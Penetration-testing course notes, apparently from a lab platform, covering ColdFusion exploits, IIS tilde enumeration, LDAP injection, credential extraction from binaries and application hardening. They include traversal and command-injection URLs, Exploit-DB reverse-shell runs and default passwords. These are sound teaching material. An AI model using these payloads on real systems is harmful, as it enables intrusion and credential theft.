Miscellaneous Applications

ColdFusion - Discovery & Enumeration

ColdFusion is a programming language and a web application development platform based on Java.

It is used to build dynamic and interactive web applications that can be connected to various APIs and databases such as MySQL, Oracle, and Microsoft SQL Server.

ColdFusion Markup Language (CFML) is the proprietary programming language used in ColdFusion to develop dynamic web applications. It has a syntax similar to HTML, making it easy to learn for web developers. CFML includes tags and functions for database integration, web services, email management, and other common web development tasks. Its tag-based approach simplifies application development by reducing the amount of code needed to accomplish complex tasks. For instance, the cfquery tag can execute SQL statements to retrieve data from a database:

<cfquery name="myQuery" datasource="myDataSource">
  SELECT *
  FROM myTable
</cfquery>

Developers can then use the cfloop tag to iterate through the records retrieved from the database:

<cfloop query="myQuery">
  <p>#myQuery.firstName# #myQuery.lastName#</p>
</cfloop>

Thanks to its built-in functions and features, CFML enables developers to create complex business logic using minimal code. Moreover, ColdFusion supports other programming languages, such as JavaScript and Java, allowing developers to use their preferred programming language within the ColdFusion environment.

Some of the primary purposes and benefits of ColdFusion include:

Benefits

Description

Developing data-driven web applications

ColdFusion allows developers to build rich, responsive web applications easily. It offers session management, form handling, debugging, and more features. ColdFusion allows you to leverage your existing knowledge of the language and combines it with advanced features to help you build robust web applications quickly.

Integrating with databases

ColdFusion easily integrates with databases such as Oracle, SQL Server, and MySQL. ColdFusion provides advanced database connectivity and is designed to make it easy to retrieve, manipulate, and view data from a database and the web.

Simplifying web content management

One of the primary goals of ColdFusion is to streamline web content management. The platform offers dynamic HTML generation and simplifies form creation, URL rewriting, file uploading, and handling of large forms. Furthermore, ColdFusion also supports AJAX by automatically handling the serialisation and deserialisation of AJAX-enabled components.

Performance

ColdFusion is designed to be highly performant and is optimised for low latency and high throughput. It can handle a large number of simultaneous requests while maintaining a high level of performance.

Collaboration

ColdFusion offers features that allow developers to work together on projects in real-time. This includes code sharing, debugging, version control, and more. This allows for faster and more efficient development, reduced time-to-market and quicker delivery of projects.

Despite being less popular than other web development platforms, ColdFusion is still widely used by developers and organisations globally.

Like any web-facing technology, ColdFusion has historically been vulnerable to various types of attacks, such as SQL injection, XSS, directory traversal, authentication bypass, and arbitrary file uploads. To improve the security of ColdFusion, developers must implement secure coding practices, input validation checks, and properly configure web servers and firewalls. Here are a few known vulnerabilities of ColdFusion:

  1. CVE-2021-21087: Arbitrary disallow of uploading JSP source code

  2. CVE-2020-24453: Active Directory integration misconfiguration

  3. CVE-2020-24450: Command injection vulnerability

  4. CVE-2020-24449: Arbitrary file reading vulnerability

  5. CVE-2019-15909: Cross-Site Scripting (XSS) Vulnerability

ColdFusion exposes a fair few ports by default:

Port Number
Protocol
Description

80

HTTP

Used for non-secure HTTP communication between the web server and web browser.

443

HTTPS

Used for secure HTTP communication between the web server and web browser. Encrypts the communication between the web server and web browser.

1935

RPC

Used for client-server communication. Remote Procedure Call (RPC) protocol allows a program to request information from another program on a different network device.

25

SMTP

Simple Mail Transfer Protocol (SMTP) is used for sending email messages.

8500

SSL

Used for server communication via Secure Socket Layer (SSL).

5500

Server Monitor

Used for remote administration of the ColdFusion server.

It's important to note that default ports can be changed during installation or configuration.

Enumeration

During a penetration testing enumeration, several ways exist to identify whether a web application uses ColdFusion. Here are some methods that can be used:

Method

Description

Port Scanning

ColdFusion typically uses port 80 for HTTP and port 443 for HTTPS by default. So, scanning for these ports may indicate the presence of a ColdFusion server. Nmap might be able to identify ColdFusion during a services scan specifically.

File Extensions

ColdFusion pages typically use ".cfm" or ".cfc" file extensions. If you find pages with these file extensions, it could be an indicator that the application is using ColdFusion.

HTTP Headers

Check the HTTP response headers of the web application. ColdFusion typically sets specific headers, such as "Server: ColdFusion" or "X-Powered-By: ColdFusion", that can help identify the technology being used.

Error Messages

If the application uses ColdFusion and there are errors, the error messages may contain references to ColdFusion-specific tags or functions.

Default Files

ColdFusion creates several default files during installation, such as "admin.cfm" or "CFIDE/administrator/index.cfm". Finding these files on the web server may indicate that the web application runs on ColdFusion.

NMap ports and service scan results

nmap -p- -sC -Pn 10.129.247.30 --open

Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-13 11:45 GMT
Nmap scan report for 10.129.247.30
Host is up (0.028s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
135/tcp   open  msrpc
8500/tcp  open  fmtp
49154/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 350.38 seconds

The port scan results show three open ports. Two Windows RPC services, and one running on 8500. As we know, 8500 is a default port that ColdFusion uses for SSL. Navigating to the IP:8500 lists 2 directories, CFIDE and cfdocs, in the root, further indicating that ColdFusion is running on port 8500.

Navigating around the structure a bit shows lots of interesting info, from files with a clear .cfm extension to error messages and login pages.

The /CFIDE/administrator path, however, loads the ColdFusion 8 Administrator login page. Now we know for certain that ColdFusion 8 is running on the server.

Attacking ColdFusion

searchsploit adobe coldfusion

As we know, the version of ColdFusion running is ColdFusion 8, and there are two results of interest. The Adobe ColdFusion - Directory Traversal and the Adobe ColdFusion 8 - Remote Command Execution (RCE) results.

Directory Traversal

Take the following ColdFusion code snippet:

<cfdirectory directory="#ExpandPath('uploads/')#" name="fileList">
<cfloop query="fileList">
    <a href="uploads/#fileList.name#">#fileList.name#</a><br>
</cfloop>

In this code snippet, the ColdFusion cfdirectory tag lists the contents of the uploads directory, and the cfloop tag is used to loop through the query results and display the filenames as clickable links in HTML.

However, the directory parameter is not validated correctly, which makes the application vulnerable to a Path Traversal attack. An attacker can exploit this vulnerability by manipulating the directory parameter to access files outside the uploads directory.

http://example.com/index.cfm?directory=../../../etc/&file=passwd

In this example, the ../ sequence is used to navigate the directory tree and access the /etc/passwd file outside the intended location.

CVE-2010-2861 is the Adobe ColdFusion - Directory Traversal exploit discovered by searchsploit. It is a vulnerability in ColdFusion that allows attackers to conduct path traversal attacks.

  • CFIDE/administrator/settings/mappings.cfm

  • logging/settings.cfm

  • datasources/index.cfm

  • j2eepackaging/editarchive.cfm

  • CFIDE/administrator/enter.cfm

These ColdFusion files are vulnerable to a directory traversal attack in Adobe ColdFusion 9.0.1 and earlier versions. Remote attackers can exploit this vulnerability to read arbitrary files by manipulating the locale parameter in these specific ColdFusion files.

With this vulnerability, attackers can access files outside the intended directory by including ../ sequences in the file parameter. For example, consider the following URL:

http://www.example.com/CFIDE/administrator/settings/mappings.cfm?locale=en

In this example, the URL attempts to access the mappings.cfm file in the /CFIDE/administrator/settings/ directory of the web application with a specified en locale. However, a directory traversal attack can be executed by manipulating the URL's locale parameter, allowing an attacker to read arbitrary files located outside of the intended directory, such as configuration files or system files.

http://www.example.com/CFIDE/administrator/settings/mappings.cfm?locale=../../../../../etc/passwd

In this example, the ../ sequences have been used to replace a valid locale to traverse the directory structure and access the passwd file located in the /etc/ directory.

Using searchsploit, copy the exploit to a working directory and then execute the file to see what arguments it requires.

searchsploit -p 14641

Coldfusion - Exploitation

cp /usr/share/exploitdb/exploits/multiple/remote/14641.py .
python2 14641.py

The password.properties file in ColdFusion is a configuration file that securely stores encrypted passwords for various services and resources the ColdFusion server uses. It contains a list of key-value pairs, where the key represents the resource name and the value is the encrypted password. These encrypted passwords are used for services like database connections, mail servers, LDAP servers, and other resources that require authentication. By storing encrypted passwords in this file, ColdFusion can automatically retrieve and use them to authenticate with the respective services without requiring the manual entry of passwords each time. The file is usually in the [cf_root]/lib directory and can be managed through the ColdFusion Administrator.

By providing the correct parameters to the exploit script and specifying the path of the desired file, the script can trigger an exploit on the vulnerable endpoints mentioned above. The script will then output the result of the exploit attempt:

python2 14641.py 10.129.204.230 8500 "../../../../../../../../ColdFusion8/lib/password.properties"

As we can see, the contents of the password.properties file have been retrieved, proving that this target is vulnerable to CVE-2010-2861.

Unauthenticated RCE

Unauthenticated Remote Code Execution (RCE) is a type of security vulnerability that allows an attacker to execute arbitrary code on a vulnerable system without requiring authentication.

In the context of ColdFusion web applications, an Unauthenticated RCE attack occurs when an attacker can execute arbitrary code on the server without requiring any authentication. This can happen when a web application allows the execution of arbitrary code through a feature or function that does not require authentication, such as a debugging console or a file upload functionality. Take the following code:

<cfset cmd = "#cgi.query_string#">
<cfexecute name="cmd.exe" arguments="/c #cmd#" timeout="5">

In the above code, the cmd variable is created by concatenating the cgi.query_string variable with a command to be executed. This command is then executed using the cfexecute function, which runs the Windows cmd.exe

This code is vulnerable to an unauthenticated RCE attack because it does not properly validate the cmd variable before executing it, nor does it require the user to be authenticated. An attacker could simply pass a malicious command as the cgi.query_string variable, and it would be executed by the server.

# Decoded: http://www.example.com/index.cfm?; echo "This server has been compromised!" > C:\compromise.txt

http://www.example.com/index.cfm?%3B%20echo%20%22This%20server%20has%20been%20compromised%21%22%20%3E%20C%3A%5Ccompromise.txt

This URL includes a semicolon (%3B) at the beginning of the query string, which can allow for the execution of multiple commands on the server. This could potentially append legitimate functionality with an unintended command. The included echo command prints a message to the console, and is followed by a redirection command to write a file to the C: directory with a message indicating that the server has been compromised.

An example of a ColdFusion Unauthenticated RCE attack is the CVE-2009-2265 vulnerability that affected Adobe ColdFusion versions 8.0.1 and earlier.

The vulnerability exists in the FCKeditor package, and is accessible on the following path:

http://www.example.com/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=

CVE-2009-2265 is the vulnerability identified by our earlier searchsploit search as Adobe ColdFusion 8 - Remote Command Execution (RCE). Pull it into a working directory.

Searchsploit

searchsploit -p 50057
cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py .

A quick cat review of the code indicates that the script needs some information. Set the correct information and launch the exploit.

if __name__ == '__main__':
    # Define some information
    lhost = '10.10.14.55' # HTB VPN IP
    lport = 4444 # A port not in use on localhost
    rhost = "10.129.247.30" # Target IP
    rport = 8500 # Target Port
    filename = uuid.uuid4().hex

The exploit will take a bit of time to launch, but it eventually will return a functional remote shell

Exploitation

python3 50057.py

IIS Tilde Enumeration

IIS tilde directory enumeration is a technique utilised to uncover hidden files, directories, and short file names (aka the 8.3 format) on some versions of Microsoft Internet Information Services (IIS) web servers. This method takes advantage of a specific vulnerability in IIS, resulting from how it manages short file names within its directories.

When a file or folder is created on an IIS server, Windows generates a short file name in the 8.3 format, consisting of eight characters for the file name, a period, and three characters for the extension. Intriguingly, these short file names can grant access to their corresponding files and folders, even if they were meant to be hidden or inaccessible.

The tilde (~) character, followed by a sequence number, signifies a short file name in a URL. Hence, if someone determines a file or folder's short file name, they can exploit the tilde character and the short file name in the URL to access sensitive data or hidden resources.

IIS tilde directory enumeration primarily involves sending HTTP requests to the server with distinct character combinations in the URL to identify valid short file names. Once a valid short file name is detected, this information can be utilised to access the relevant resource or further enumerate the directory structure.

http://example.com/~a
http://example.com/~b
http://example.com/~c
...

Assume the server contains a hidden directory named SecretDocuments. When a request is sent to http://example.com/~s, the server replies with a 200 OK status code, revealing a directory with a short name beginning with "s". The enumeration process continues by appending more characters:

http://example.com/~se
http://example.com/~sf
http://example.com/~sg

For the request http://example.com/~se, the server returns a 200 OK status code, further refining the short name to "se". Further requests are sent, such as:

http://example.com/~sec
http://example.com/~sed
http://example.com/~see

The server delivers a 200 OK status code for the request http://example.com/~sec, further narrowing the short name to "sec".

Continuing this procedure, the short name secret~1 is eventually discovered when the server returns a 200 OK status code for the request http://example.com/~secret.

Once the short name secret~1 is identified, enumeration of specific file names within that path can be performed, potentially exposing sensitive documents.

For instance, if the short name secret~1 is determined for the concealed directory SecretDocuments, files in that directory can be accessed by submitting requests such as:

http://example.com/secret~1/somefile.txt
http://example.com/secret~1/anotherfile.docx

The same IIS tilde directory enumeration technique can also detect 8.3 short file names for files within the directory. After obtaining the short names, those files can be directly accessed using the short names in the requests.

http://example.com/secret~1/somefi~1.txt

In 8.3 short file names, such as somefi~1.txt, the number "1" is a unique identifier that distinguishes files with similar names within the same directory. The numbers following the tilde (~) assist the file system in differentiating between files that share similarities in their names, ensuring each file has a distinct 8.3 short file name.

For example, if two files named somefile.txt and somefile1.txt exist in the same directory, their 8.3 short file names would be:

  • somefi~1.txt for somefile.txt

  • somefi~2.txt for somefile1.txt

Enumeration

nmap -p- -sV -sC --open 10.129.224.91
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-14 19:44 GMT
Nmap scan report for 10.129.224.91
Host is up (0.011s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 183.38 seconds

IIS 7.5 is running on port 80. Executing a tilde enumeration attack on this version could be a viable option.

Tilde Enumeration using IIS ShortName Scanner

Manually sending HTTP requests for each letter of the alphabet can be a tedious process. Fortunately, there is a tool called IIS-ShortName-Scanner that can automate this task. You can find it on GitHub at the following link: IIS-ShortName-Scanner. To use IIS-ShortName-Scanner, you will need to install Oracle Java on either Pwnbox or your local VM. Details can be found in the following link. How to Install Oracle Java

When you run the below command, it will prompt you for a proxy, just hit enter for No.

java -jar iis_shortname_scanner.jar 0 5 http://10.129.204.231/

Generate Wordlist

The pwnbox image offers an extensive collection of wordlists located in the /usr/share/wordlists/ directory, which can be utilised for this purpose.

egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt

This command combines egrep and sed to filter and modify the contents of input files, then save the results to a new file.

Command Part

Description

egrep -r ^transf

The egrep command is used to search for lines containing a specific pattern in the input files. The -r flag indicates a recursive search through directories. The ^transf pattern matches any line that starts with "transf". The output of this command will be lines that begin with "transf" along with their source file names.

|

The pipe symbol (|) is used to pass the output of the first command (egrep) to the second command (sed). In this case, the lines starting with "transf" and their file names will be the input for the sed command.

sed 's/^[^:]*://'

The sed command is used to perform a find-and-replace operation on its input (in this case, the output of egrep). The 's/^[^:]*://' expression tells sed to find any sequence of characters at the beginning of a line (^) up to the first colon (:), and replace them with nothing (effectively removing the matched text). The result will be the lines starting with "transf" but without the file names and colons.

> /tmp/list.txt

The greater-than symbol (>) is used to redirect the output of the entire command (i.e., the modified lines) to a new file named /tmp/list.txt.

Gobuster Enumeration

Once you have created the custom wordlist, you can use gobuster to enumerate all items in the target. GoBuster is an open-source directory and file brute-forcing tool written in the Go programming language. It is designed for penetration testers and security professionals to help identify and discover hidden files, directories, or resources on web servers during security assessments.

gobuster dir -u http://10.129.204.231/ -w /tmp/list.txt -x .aspx,.asp

LDAP

LDAP (Lightweight Directory Access Protocol) is a protocol used to access and manage directory information. A directory is a hierarchical data store that contains information about network resources such as users, groups, computers, printers, and other devices. LDAP provides some excellent functionality:

Functionality

Description

Efficient

Efficient and fast queries and connections to directory services, thanks to its lean query language and non-normalised data storage.

Global naming model

Supports multiple independent directories with a global naming model that ensures unique entries.

Extensible and flexible

This helps to meet future and local requirements by allowing custom attributes and schemas.

Compatibility

It is compatible with many software products and platforms as it runs over TCP/IP and SSL directly, and it is platform-independent, suitable for use in heterogeneous environments with various operating systems.

Authentication

It provides authentication mechanisms that enable users to sign on once and access multiple resources on the server securely.

However, it also suffers some significant issues:

Functionality
Description

Compliance

Directory servers must be LDAP compliant for service to be deployed, which may limit the choice of vendors and products.

Complexity

Difficult to use and understand for many developers and administrators, who may not know how to configure LDAP clients correctly or use it securely.

Encryption

LDAP does not encrypt its traffic by default, which exposes sensitive data to potential eavesdropping and tampering. LDAPS (LDAP over SSL) or StartTLS must be used to enable encryption.

Injection

Vulnerable to LDAP injection attacks, where malicious users can manipulate LDAP queries and gain unauthorised access to data or resources. To prevent such attacks, input validation and output encoding must be implemented.

LDAP is commonly used for providing a central location for accessing and managing directory services. Directory services are collections of information about the organisation, its users, and assets–like usernames and passwords. LDAP enables organisations to store, manage, and secure this information in a standardised way. Here are some common use cases:

LDAP is commonly used for providing a central location for accessing and managing directory services. Directory services are collections of information about the organisation, its users, and assets–like usernames and passwords. LDAP enables organisations to store, manage, and secure this information in a standardised way. Here are some common use cases:

Use Case

Description

Authentication

LDAP can be used for central authentication, allowing users to have single login credentials across multiple applications and systems. This is one of the most common use cases for LDAP.

Authorisation

LDAP can manage permissions and access control for network resources such as folders or files on a network share. However, this may require additional configuration or integration with protocols like Kerberos.

Directory Services

LDAP provides a way to search, retrieve, and modify data stored in a directory, making it helpful for managing large numbers of users and devices in a corporate network. LDAP is based on the X.500 standard for directory services.

Synchronisation

LDAP can be used to keep data consistent across multiple systems by replicating changes made in one directory to another.

There are two popular implementations of LDAP: OpenLDAP, an open-source software widely used and supported, and Microsoft Active Directory, a Windows-based implementation that seamlessly integrates with other Microsoft products and services.

Although LDAP and AD are related, they serve different purposes. LDAP is a protocol that specifies the method of accessing and modifying directory services, whereas AD is a directory service that stores and manages user and computer data. While LDAP can communicate with AD and other directory services, it is not a directory service itself. AD offers extra functionalities such as policy administration, single sign-on, and integration with various Microsoft products.

LDAP

Active Directory (AD)

A protocol that defines how clients and servers communicate with each other to access and manipulate data stored in a directory service.

A directory server that uses LDAP as one of its protocols to provide authentication, authorisation, and other services for Windows-based networks.

An open and cross-platform protocol that can be used with different types of directory servers and applications.

Proprietary software that only works with Windows-based systems and requires additional components such as DNS (Domain Name System) and Kerberos for its functionality.

It has a flexible and extensible schema that allows custom attributes and object classes to be defined by administrators or developers.

It has a predefined schema that follows and extends the X.500 standard with additional object classes and attributes specific to Windows environments. Modifications should be made with caution and care.

Supports multiple authentication mechanisms such as simple bind, SASL, etc.

It supports Kerberos as its primary authentication mechanism but also supports NTLM (NT LAN Manager) and LDAP over SSL/TLS for backward compatibility.

LDAP works by using a client-server architecture. A client sends an LDAP request to a server, which searches the directory service and returns a response to the client. LDAP is a protocol that is simpler and more efficient than X.500, on which it is based. It uses a client-server model, where clients send requests to servers using LDAP messages encoded in ASN.1 (Abstract Syntax Notation One) and transmitted over TCP/IP (Transmission Control Protocol/Internet Protocol). The servers process the requests and send back responses using the same format. LDAP supports various requests, such as bind, unbind, search, compare, add, delete, modify, etc.

LDAP requests are messages that clients send to servers to perform operations on data stored in a directory service. An LDAP request is comprised of several components:

  1. Session connection: The client connects to the server via an LDAP port (usually 389 or 636).

  2. Request type: The client specifies the operation it wants to perform, such as bind, search, etc.

  3. Request parameters: The client provides additional information for the request, such as the distinguished name (DN) of the entry to be accessed or modified, the scope and filter of the search query, the attributes and values to be added or changed, etc.

  4. Request ID: The client assigns a unique identifier for each request to match it with the corresponding response from the server.

Once the server receives the request, it processes it and sends back a response message that includes several components:

  1. Response type: The server indicates the operation that was performed in response to the request.

  2. Result code: The server indicates whether or not the operation was successful and why.

  3. Matched DN: If applicable, the server returns the DN of the closest existing entry that matches the request.

  4. Referral: The server returns a URL of another server that may have more information about the request, if applicable.

  5. Response data: The server returns any additional data related to the response, such as the attributes and values of an entry that was searched or modified.

After receiving and processing the response, the client disconnects from the LDAP port.

ldapsearch

ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 -b "ou=people,dc=example,dc=com" "(mail=john.doe@example.com)"

This command can be broken down as follows:

  • Connect to the server ldap.example.com on port 389.

  • Bind (authenticate) as cn=admin,dc=example,dc=com with password secret123.

  • Search under the base DN ou=people,dc=example,dc=com.

  • Use the filter (mail=john.doe@example.com) to find entries that have this email address.

The server would process the request and send back a response, which might look something like this:

dn: uid=jdoe,ou=people,dc=example,dc=com
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
cn: John Doe
sn: Doe
uid: jdoe
mail: john.doe@example.com

result: 0 Success

This response includes the entry's distinguished name (DN) that matches the search criteria and its attributes and values.

LDAP Injection

LDAP injection is an attack that exploits web applications that use LDAP (Lightweight Directory Access Protocol) for authentication or storing user information. The attacker can inject malicious code or characters into LDAP queries to alter the application's behaviour, bypass security measures, and access sensitive data stored in the LDAP directory.

To test for LDAP injection, you can use input values that contain special characters or operators that can change the query's meaning:

Input
Description

*

An asterisk * can match any number of characters.

( )

Parentheses ( ) can group expressions.

|

A vertical bar | can perform logical OR.

&

An ampersand & can perform logical AND.

(cn=*)

Input values that try to bypass authentication or authorisation checks by injecting conditions that always evaluate to true can be used. For example, (cn=*) or (objectClass=*) can be used as input values for a username or password fields.

LDAP injection attacks are similar to SQL injection attacks but target the LDAP directory service instead of a database.

For example, suppose an application uses the following LDAP query to authenticate users:

(&(objectClass=user)(sAMAccountName=$username)(userPassword=$password))

In this query, $username and $password contain the user's login credentials. An attacker could inject the * character into the $username or $password field to modify the LDAP query and bypass authentication.

If an attacker injects the * character into the $username field, the LDAP query will match any user account with any password. This would allow the attacker to gain access to the application with any password, as shown below:

$username = "*";
$password = "dummy";
(&(objectClass=user)(sAMAccountName=$username)(userPassword=$password))

Alternatively, if an attacker injects the * character into the $password field, the LDAP query would match any user account with any password that contains the injected string. This would allow the attacker to gain access to the application with any username, as shown below:

$username = "dummy";
$password = "*";
(&(objectClass=user)(sAMAccountName=$username)(userPassword=$password))

LDAP injection attacks can lead to severe consequences, such as unauthorised access to sensitive information, elevated privileges, and even full control over the affected application or server. These attacks can also considerably impact data integrity and availability, as attackers may alter or remove data within the directory service, causing disruptions to applications and services dependent on that data.

To mitigate the risks associated with LDAP injection attacks, it is crucial to thoroughly validate and sanitize user input before incorporating it into LDAP queries. This process should involve removing LDAP-specific special characters like * and employing parameterised queries to ensure user input is treated solely as data, not executable code.

Enumeration

nmap -p- -sC -sV --open --min-rate=1000 10.129.204.229

nmap detects ldap server running on port 389

Web Mass Assignment Vulnerabilities

This vulnerability happens when a programmer takes ALL arguments from a request and assigns them to stored values (this is the Mass Assignment) without checking for the correctness or filtering extra parameters.

Prevention

To prevent this type of attack, one should explicitly assign the attributes for the allowed fields, or use whitelisting methods provided by the framework to check the attributes that can be mass-assigned. The following example shows how to use strong parameters in the User controller.

class UsersController < ApplicationController
  def create
    @user = User.new(user_params)
    if @user.save
      redirect_to @user
    else
      render 'new'
    end
  end

  private

  def user_params
    params.require(:user).permit(:username, :email)
  end
end

In the example above, the user_params method returns a new hash that includes only the username and email attributes, ignoring any more input the client may have sent. By doing this, we ensure that only explicitly permitted attributes can be changed by mass assignment.

Attacking Applications Connecting to Services

Applications that are connected to services often include connection strings that can be leaked if they are not protected sufficiently. In the following paragraphs, we will go through the process of enumerating and exploiting applications that are connected to other services in order to extend their functionality. This can help us collect information and move laterally or escalate our privileges during penetration testing.

ELF Executable Examination

Example: The octopus_checker binary is found on a remote machine during the testing. Running the application locally reveals that it connects to database instances in order to verify that they are available.

Using tools like PEDA (Python Exploit Development Assistance for GDB) we can further examine the file. This is an extension of the standard GNU Debugger (GDB), which is used for debugging C and C++ programs. (Or GEF)

gdb ./octopus_checker

Once the binary is loaded, we set the disassembly-flavor to define the display style of the code, and we proceed with disassembling the main function of the program.

set disassembly-flavor intel
disas main

This reveals several call instructions that point to addresses containing strings. They appear to be sections of a SQL connection string, but the sections are not in order, and the endianness entails that the string text is reversed. Endianness defines the order that the bytes are read in different architectures. Further down the function, we see a call to SQLDriverConnect.

   0x00005555555555ff <+425>:	mov    esi,0x0
   0x0000555555555604 <+430>:	mov    rdi,rax
   0x0000555555555607 <+433>:	call   0x5555555551b0 <SQLDriverConnect@plt>
   0x000055555555560c <+438>:	add    rsp,0x10
   0x0000555555555610 <+442>:	mov    WORD PTR [rbp-0x4b4],ax

Adding a breakpoint at this address and running the program once again, reveals a SQL connection string in the RDX register address, containing the credentials for a local database instance.

b *0x5555555551b0
run

Apart from trying to connect to the MS SQL service, penetration testers can also check if the password is reusable from users of the same network.

DLL File Examination

A DLL file is a Dynamically Linked Library and it contains code that is called from other programs while they are running. The MultimasterAPI.dll binary is found on a remote machine during the enumeration process. Examination of the file reveals that this is a .Net assembly.

Get-FileMetaData .\MultimasterAPI.dll

Using the debugger and .NET assembly editor dnSpy, we can view the "source code" directly.

This tool allows reading, editing, and debugging the source code of a .NET assembly (C# and Visual Basic). Inspection of MultimasterAPI.Controllers -> ColleagueController reveals a database connection string containing the password.

Apart from trying to connect to the MS SQL service, attacks like password spraying can also be used to test the security of other services.

Other Notable Applications

That being said, here are a few other applications that we have come across during assessments and are worth looking out for:

Application
Abuse Info

Axis2

This can be abused similar to Tomcat. We will often actually see it sitting on top of a Tomcat installation. If we cannot get RCE via Tomcat, it is worth checking for weak/default admin credentials on Axis2. We can then upload a webshell in the form of an AAR file (Axis2 service file). There is also a Metasploit module that can assist with this.

Websphere

Websphere has suffered from many different vulnerabilities over the years. Furthermore, if we can log in to the administrative console with default credentials such as system:manager we can deploy a WAR file (similar to Tomcat) and gain RCE via a web shell or reverse shell.

Elasticsearch

Elasticsearch has had its fair share of vulnerabilities as well. Though old, we have seen this before on forgotten Elasticsearch installs during an assessment for a large enterprise (and identified within 100s of pages of EyeWitness report output). Though not realistic, the Hack The Box machine Haystack features Elasticsearch.

Zabbix

Zabbix is an open-source system and network monitoring solution that has had quite a few vulnerabilities discovered such as SQL injection, authentication bypass, stored XSS, LDAP password disclosure, and remote code execution. Zabbix also has built-in functionality that can be abused to gain remote code execution. The HTB box Zipper showcases how to use the Zabbix API to gain RCE.

Nagios

Nagios is another system and network monitoring product. Nagios has had a wide variety of issues over the years, including remote code execution, root privilege escalation, SQL injection, code injection, and stored XSS. If you come across a Nagios instance, it is worth checking for the default credentials nagiosadmin:PASSW0RD and fingerprinting the version.

WebLogic

WebLogic is a Java EE application server. At the time of writing, it has 190 reported CVEs. There are many unauthenticated RCE exploits from 2007 up to 2021, many of which are Java Deserialization vulnerabilities.

Wikis/Intranets

We may come across internal Wikis (such as MediaWiki), custom intranet pages, SharePoint, etc. These are worth assessing for known vulnerabilities but also searching if there is a document repository. We have run into many intranet pages (both custom and SharePoint) that had a search functionality which led to discovering valid credentials.

DotNetNuke

DotNetNuke (DNN) is an open-source CMS written in C# that uses the .NET framework. It has had a few severe issues over time, such as authentication bypass, directory traversal, stored XSS, file upload bypass, and arbitrary file download.

vCenter

vCenter is often present in large organizations to manage multiple instances of ESXi. It is worth checking for weak credentials and vulnerabilities such as this Apache Struts 2 RCE that scanners like Nessus do not pick up. This unauthenticated OVA file upload vulnerability was disclosed in early 2021, and a PoC for CVE-2021-22005 was released during the development of this module. vCenter comes as both a Windows and a Linux appliance. If we get a shell on the Windows appliance, privilege escalation is relatively simple using JuicyPotato or similar. We have also seen vCenter already running as SYSTEM and even running as a domain admin! It can be a great foothold in the environment or be a single source of compromise.

Once again, this is not an exhaustive list but just more examples of the many things we may come across in a corporate network. As shown here, often, a default password and built-in functionality are all we need.

Application Hardening

The first step for any organization should be to create a detailed (and accurate) application inventory of both internal and external-facing applications. This can be achieved in many ways, and blue teams on a budget could benefit from pentesting tools such as Nmap and EyeWitness to assist in the process. Various open-source and paid tools can be used to create and maintain this inventory.

Without knowing what exists in the environment, we won't know what to protect! Creating this inventory may expose instances of "shadow IT" (or unauthorized installs), deprecated applications that are no longer needed, or even issues such as a trial version of a tool being converted to a free version automatically (such as Splunk when it no longer requires authentication).

General Hardening Tips

The applications discussed in this section should be hardened to prevent compromise using these techniques and others. Below are some important measures that can help secure deployments of WordPress, Drupal, Joomla, Tomcat, Jenkins, osTicket, GitLab, PRTG Network Monitor, and Splunk in any environment.

  • Secure authentication: Applications should enforce strong passwords during registration and setup, and default administrative account passwords should be changed. If possible, the default administrative accounts should be disabled, with new custom administrative accounts created. Some applications inherently support 2FA authentication, which should be made mandatory for at least administrator-level users.

  • Access controls: Proper access control mechanisms should be implemented per application. For example, login pages should not be accessible from the external network unless there is a valid business reason for this access. Similarly, file and folder permissions can be configured to deny uploads or application deployments.

  • Disable unsafe features: Features such as PHP code editing in WordPress can be disabled to prevent code execution if the server is compromised.

  • Regular updates: Applications should be updated regularly, and patches supplied by vendors should be applied as soon as possible.

  • Backups: System administrators should always configure website and database backups, allowing the application to be quickly restored in case of a compromise.

  • Security monitoring: There are various tools and plugins that can be used to monitor the status and various security-related issues for our applications. Another option is a Web Application Firewall (WAF). While not a silver bullet, a WAF can help add an extra layer of protection provided all the measures above have already been taken.

  • LDAP integration with Active Directory: Integrating applications with Active Directory single sign-on can increase ease of access, provide more auditing functionality (especially if synced with Azure), and make managing credentials and service accounts more streamlined. It also decreases the number of accounts and passwords that a user will have to remember and give fine-grained control over the password policy.

Every application that we discussed in this module (and beyond) should be following key hardening guidelines such as enabling multi-factor authentication for admins and users wherever possible, changing default admin user account names, limiting the number of admins, and how admins can access the site (i.e., not from the open internet), enforce the principle of least privilege throughout the application, perform regular updates to address security vulnerabilities, taking regular backups to a secondary location to be able to recover quickly in the event of an attack and implement security monitoring tools that can detect and block malicious activity and account brute-forcing, among other attacks.

Finally, we should be careful with what we expose to the internet. Does that GitLab repo really need to be public? Does our ticketing system need to be accessible outside the internal network? With these controls in place, we will have a solid baseline to apply to all applications regardless of their function.

We should also perform regular checks and updates to our application inventory to ensure that we are not exposing applications on the internal or external network that are no longer needed or have severe security flaws. Finally, perform regular assessments to look for security vulnerabilities and misconfigurations as well as sensitive data exposure. Follow through on remediation recommendations included in your penetration testing reports and periodically check for the same types of flaws discovered by your penetration testers. Some could be process-related, requiring a mindset shift for the organization to become more security conscious.

Application-Specific Hardening Tips

Though the general concepts for application hardening apply to all applications that we discussed in this module and will encounter in the real world, we can take some more specific measures. Here are a few:

Application
Hardening Category
Discussion

WordPress

Security monitoring

Use a security plugin such as WordFence which includes security monitoring, blocking of suspicious activity, country blocking, two-factor authentication, and more

Joomla

Access controls

A plugin such as AdminExile can be used to require a secret key to log in to the Joomla admin page such as http://joomla.inlanefreight.local/administrator?thisismysecretkey

Drupal

Access controls

